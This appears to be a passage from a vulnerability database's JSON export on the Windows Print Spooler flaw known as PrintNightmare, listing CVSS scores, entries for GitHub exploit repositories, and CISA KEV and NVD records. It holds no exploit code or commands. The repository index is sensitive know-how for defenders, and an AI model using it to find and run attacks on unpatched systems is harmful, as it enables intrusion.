"AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-07T15:32:16", "id": "64AAF745-D50D-575C-B3FF-A09072475502", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:37", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nTwo mini Script to check if th...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T12:12:16", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T07:49:06", "id": "F92F972D-7309-5D0B-BCC2-054883AE83E9", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-30T03:44:07", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nImpacket implementation of the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-29T17:24:14", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-30T03:06:53", "id": "E82ECEEF-07B8-5340-BAC6-FA5B0E964772", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:28:13", "description": "## Kritische Sicherheitsl\u00fccke\n### PrintNightmare CVE-2021-1675, ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T07:30:52", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-08-05T03:00:36", "id": "0263BC36-BEB1-519B-965B-52D9E6AB116F", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:28:22", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nImpacket implementation of the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-12T08:18:40", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-10-24T06:07:00", "id": "F1347375-6380-5145-9881-486B76875649", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-27T21:17:11", "description": "# PrintNightmare (CVE-2021-1675)\n\nThis Zeek script detects succe...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T16:44:24", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-27T16:56:12", "id": "3399B834-8492-5C0C-AA14-7F120BA37AF6", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:28:59", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nImpacket implementation of the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-05T12:10:43", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-10-24T06:06:09", "id": "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-15T19:32:13", "description": "# Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-3...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T09:47:13", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-1675"], "modified": "2022-03-15T16:19:02", "id": "AAD37CB5-B2C3-5908-B0D3-052CF47F6D25", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:32:50", "description": "# PrintNightmare\n\nHere is a project that will help to fight agai...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-28T07:55:42", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-09-15T06:40:48", "id": "DF28DCE7-CCFF-5653-81BA-719525BE09AD", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-24T00:25:23", "description": "# It Was All A Dream\n\nA [CVE-2021-34527](https://msrc.microsoft....", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-05T20:13:49", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-23T19:20:20", "id": "0BB19334-D311-5464-B40B-7B27A0AD8825", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-16T17:02:43", "description": "= Print Nightmare \u5206\u6790\u62a5\u544a\n:imagesdir: Figures\n:toc:\n:icons: font\n:f...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-22T10:49:30", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-1675"], "modified": "2022-03-16T09:18:03", "id": "F1B229EB-2178-53B9-839E-BA0B916376A2", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-18T14:37:24", "description": "# PrintNightmare - Windows Print Spooler RCE/LPE Vulnerability (...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-03T15:15:12", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-18T12:17:12", "id": "CD2BFDFF-9EBC-5C8F-83EC-62381CD9BCD5", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T18:18:52", "description": "# zeroscan\r\n\r\nZeroscan is a Domain Controller vulnerability scan...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-06-23T12:23:48", "type": "githubexploit", "title": "Exploit for Use of Insufficiently Random Values in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-1675"], "modified": "2022-02-22T01:57:05", "id": "C841D92F-11E1-5077-AE70-CA2FEF0BC96E", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-19T23:46:37", "description": "# CVE-2021-34527-CVE-2021-1675\nPrintNightmare+Manual\nhttps://sat...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-19T23:20:58", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-1675"], "modified": "2022-02-19T23:20:58", "id": "86F04665-0984-596F-945A-3CA176A53057", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-22T08:28:18", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nImpacket implementation of the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-22T03:32:14", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-02-22T03:32:28", "id": "21F83D93-118D-50C7-A5C0-B2069237666E", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:05", "description": "# \u3016EXP\u3017Ladon CVE-2021-40444 Office\u6f0f\u6d1e\u590d\u73b0\n\n\n### \u6f0f\u6d1e\u6982\u8ff0\n\n\u5317\u4eac\u65f6\u95f49\u67088\u65e5\uff0c\u7eff\u76df\u79d1\u6280...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T17:10:48", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-40444"], "modified": "2021-11-15T04:16:33", "id": "FF761088-559C-5E71-A5CD-196D4E4571B8", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "seebug": [{"lastseen": "2021-07-24T09:54:40", "description": "", "cvss3": {}, "published": "2021-06-17T00:00:00", "type": "seebug", "title": "Windows Print Spooler\u6743\u9650\u63d0\u5347\u6f0f\u6d1e\uff08CVE-2021-1675\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-1675"], "modified": "2021-06-17T00:00:00", "id": "SSV:99276", "href": "https://www.seebug.org/vuldb/ssvid-99276", "sourceData": "", "sourceHref": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "Windows Print Spooler Privilege Escalation Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Microsoft Windows Print Spooler Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-1675", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-02-09T14:02:58", "description": "Windows Print Spooler Elevation of Privilege Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-08T23:15:00", "type": "cve", "title": "CVE-2021-1675", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-07-02T21:07:00", "cpe": ["cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_7:-", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_server_2008:r2"], "id": "CVE-2021-1675", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*"]}], "rapid7blog": [{"lastseen": "2022-03-16T21:28:40", "description": "\n\nCyberattacks are a distinct concern in the [Russia-Ukraine conflict](<https://www.rapid7.com/blog/tag/russia-ukraine-conflict/>), with the potential to impact individuals and organizations far beyond the physical frontlines. With events unfolding rapidly, we want to provide a single channel by which we can communicate to the security community the major cyber-related developments from the conflict each day.\n\nEach business day, we will update this blog at 5 pm EST with what we believe are the need-to-know updates in cybersecurity and 